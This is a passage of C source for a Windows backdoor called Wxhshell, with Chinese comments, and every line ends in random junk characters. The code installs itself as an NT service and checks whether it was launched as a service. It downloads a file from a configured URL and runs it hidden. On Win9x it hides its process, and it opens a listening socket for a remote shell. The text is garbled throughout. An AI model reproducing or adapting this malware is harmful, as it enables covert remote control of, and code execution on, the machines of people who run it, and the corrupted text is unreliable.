DWORD AffinityMask; XJl2_#
DWORD BasePriority; \;
Io
ULONG UniqueProcessId; v=15pW
ULONG InheritedFromUniqueProcessId; ]K'iCYY
} PROCESS_BASIC_INFORMATION; trL:qD+{(
~W'>L++
PROCNTQSIP NtQueryInformationProcess; Mq!03q6
#gbJ$1s
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0\f3L a
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; wjGD[~mB
YNCQPN\v`1
HANDLE hProcess; s^Lg*t3I
PROCESS_BASIC_INFORMATION pbi; n:cre}0.
!\.%^LK1
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); n gA&PU
if(NULL == hInst ) return 0; b]s.h8+v;
+~lZ]a7k
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3*9<JHu
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6XPf0Gl
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /7Z;/|oU
$OK}jSH*v)
if (!NtQueryInformationProcess) return 0; W$=MuF7R
ndEW$?W,
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Jwzkd"D
if(!hProcess) return 0; d6ZJh xJ
A7!!kR":
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -}nTwx:|5u
KTX;x2r
CloseHandle(hProcess); 71i".1l{K
4$D:<8B
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .iFd
if(hProcess==NULL) return 0; O4xV "\
umV5Y`
HMODULE hMod; |Rk$u
char procName[255]; 4OLq
unsigned long cbNeeded; _:|/4.]`_
_bp9UJ
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); qI,4uGg
N-
E)b
CloseHandle(hProcess); m:@-]U@6
[hU5ooB
if(strstr(procName,"services")) return 1; // 以服务启动 z?V'1L1gM
HS!O;7s'
return 0; // 注册表启动 V6%J9+DK
} ?ysC7((
PfKIaW<
// 主模块 xf/
SUO
F
int StartWxhshell(LPSTR lpCmdLine) H% c:f
{ ~x`BV+R
SOCKET wsl; Gb]t%\
BOOL val=TRUE;
)L}6to
int port=0; 5"1kfB3v
struct sockaddr_in door; 6{/HNEI*1
D,Ft*(|T
if(wscfg.ws_autoins) Install(); `4V_I%lJ&
mouLjT&p
port=atoi(lpCmdLine); .H,v7L,~88
0zR4Kj7EE
if(port<=0) port=wscfg.ws_port; hVPSW# .d
t)Q6A@$:
WSADATA data; f=%k9Y*)
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; DpG|Kl|d
0'ha!4h3Z
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Hk)IV"[R
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5c*kgj:x
door.sin_family = AF_INET; oZ%rzLH
door.sin_addr.s_addr = inet_addr("127.0.0.1"); </,RS5ukn
door.sin_port = htons(port); 'xO5Le(=M
W10=SM}
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { pJ*x[y
closesocket(wsl); P{qi>FJqe
return 1; 7`,A]":;
} &m@~R|
<[9{Lg*D
if(listen(wsl,2) == INVALID_SOCKET) { @k_xA-a
closesocket(wsl); c#lW ?
return 1; 9|19ia@[\
} 4{!7T
Wxhshell(wsl); .<Y7,9;YEF
WSACleanup(); g]B!
29M
N 2|?I(\B
return 0; !?t#QDo
6$#p}nE
} di^E8egR$
FbxrBM
// 以NT服务方式启动 7GN>o@ t
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) G$b*N4yR
{ Y*!J +A#
DWORD status = 0; [ 0?*J<d
DWORD specificError = 0xfffffff; ]Puu: IG
S.,om;`
serviceStatus.dwServiceType = SERVICE_WIN32; K5;
/
serviceStatus.dwCurrentState = SERVICE_START_PENDING; eBw6k09C+
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %`r Z]^H
serviceStatus.dwWin32ExitCode = 0; FT0HU<." 1
serviceStatus.dwServiceSpecificExitCode = 0; {rp5qgVE<
serviceStatus.dwCheckPoint = 0;
Yxe%:
serviceStatus.dwWaitHint = 0; p[kEFE,%
lPA:aHcj
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .2y2Qm
if (hServiceStatusHandle==0) return; 1+P&O4>
P)VysYb?
status = GetLastError(); JA .J~3
if (status!=NO_ERROR) mGf@J6wGz
{ fU@{!;|Pz
serviceStatus.dwCurrentState = SERVICE_STOPPED; Mp8BilH-T
serviceStatus.dwCheckPoint = 0; 7WuhYJbf
serviceStatus.dwWaitHint = 0; aTJs.y-I~
serviceStatus.dwWin32ExitCode = status; #0yU
K5J
serviceStatus.dwServiceSpecificExitCode = specificError; +mc0:e{WF
SetServiceStatus(hServiceStatusHandle, &serviceStatus); y'gIx*6B@
return;
Iu<RwB[#Q
} DB1F_! 9
u$A*Vsmr
serviceStatus.dwCurrentState = SERVICE_RUNNING; :%&~/@B
serviceStatus.dwCheckPoint = 0; -Re4G78%
serviceStatus.dwWaitHint = 0; (%`R{Y
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); FH"u9ygF
} LV$@J
y81B3`@
// 处理NT服务事件,比如:启动、停止 Rh%c<</`0s
VOID WINAPI NTServiceHandler(DWORD fdwControl) Rd 4
z+G
{ lwY2zX&%)/
switch(fdwControl) W$E!}~Ro
{ )FF3|dZ";K
case SERVICE_CONTROL_STOP: *)+K+J
serviceStatus.dwWin32ExitCode = 0; Q/JX8<7K
serviceStatus.dwCurrentState = SERVICE_STOPPED; V(-=@UW
serviceStatus.dwCheckPoint = 0; VR/*h%
serviceStatus.dwWaitHint = 0; fT:a{
{ _]g?3Gw7!
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Vh%=JL
sK
} "JHdF&
return; BKiyog
case SERVICE_CONTROL_PAUSE: _{d0Nm
serviceStatus.dwCurrentState = SERVICE_PAUSED; _A[k&nO!&J
break; 9&FFp*'3
case SERVICE_CONTROL_CONTINUE: YIb=rR[ $
serviceStatus.dwCurrentState = SERVICE_RUNNING; y":Y$v,P
break; 3,x|w
case SERVICE_CONTROL_INTERROGATE: Rn"Raq7Cn*
break; 0N" VOEvG
}; W,\LdQ
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7U:-zfq
} , [V#o-Z
$i:wS=
w'
// 标准应用程序主函数 {$dq7m(
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) WAzYnl'p
{ >?pWbL
=vqy5y
// 获取操作系统版本 m1](f[$
OsIsNt=GetOsVer(); ]Wn^m+
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~E]ct F
!9w;2Z]uum
// 从命令行安装 #u<^
if(strpbrk(lpCmdLine,"iI")) Install(); .Mn+Bd4f
k|Xxr
// 下载执行文件 qHAZ)Tz
if(wscfg.ws_downexe) { WcG!6.U>
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =V)88@W
WinExec(wscfg.ws_filenam,SW_HIDE); s8/sH];
} `PV+.V}
Z#J
cNquM
if(!OsIsNt) { /b$0).fj@,
// 如果时win9x,隐藏进程并且设置为注册表启动 ucVWvXCr
HideProc(); hkK+BmMj\
StartWxhshell(lpCmdLine); nBVR)|+M
} 3)?v
else mKsTA;
if(StartFromService()) 6:(R/9!P
// 以服务方式启动 efK3{
StartServiceCtrlDispatcher(DispatchTable); Lq-Di|6q
else Qh3V[br
// 普通方式启动 GzC=xXON
StartWxhshell(lpCmdLine); # 1S*}Q<k
aMUy^>
return 0; IQ&